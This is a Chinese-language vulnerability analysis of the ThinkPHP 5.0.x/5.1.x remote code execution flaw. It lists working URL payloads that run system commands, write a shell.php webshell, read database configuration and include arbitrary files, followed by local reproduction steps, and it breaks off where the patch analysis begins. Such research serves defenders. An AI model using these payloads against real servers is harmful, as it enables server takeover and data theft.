本系列文章将针对 ThinkPHP
的历史漏洞进行分析,今后爆出的所有 ThinkPHP
漏洞分析,也将更新于ThinkPHP-Vuln(https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 ThinkPHP
中存在的 远程代码执行
漏洞。
漏洞概要
本次漏洞存在于 ThinkPHP
底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞
的产生。漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22
、5.1.0<=ThinkPHP<=5.1.30
。不同版本 payload
需稍作调整:
5.1.x
:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x
:
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞环境
通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think tpdemo
将 composer.json
文件的 require
字段设置成如下:
"require": {
"php": ">=5.6.0","topthink/framework": "5.1.30"
},
然后执行 composer update
。接着访问 http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
链接,即可触发 远程代码执行漏洞
。
漏洞分析
首先在官方发布的 5.1.31
版本更新说明中,发现其中提到该版本包含了一个安全更新。
官方微信 公众号 中有对本次安全更新的些许描述:
本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
我们可以查阅其 commit
记录&#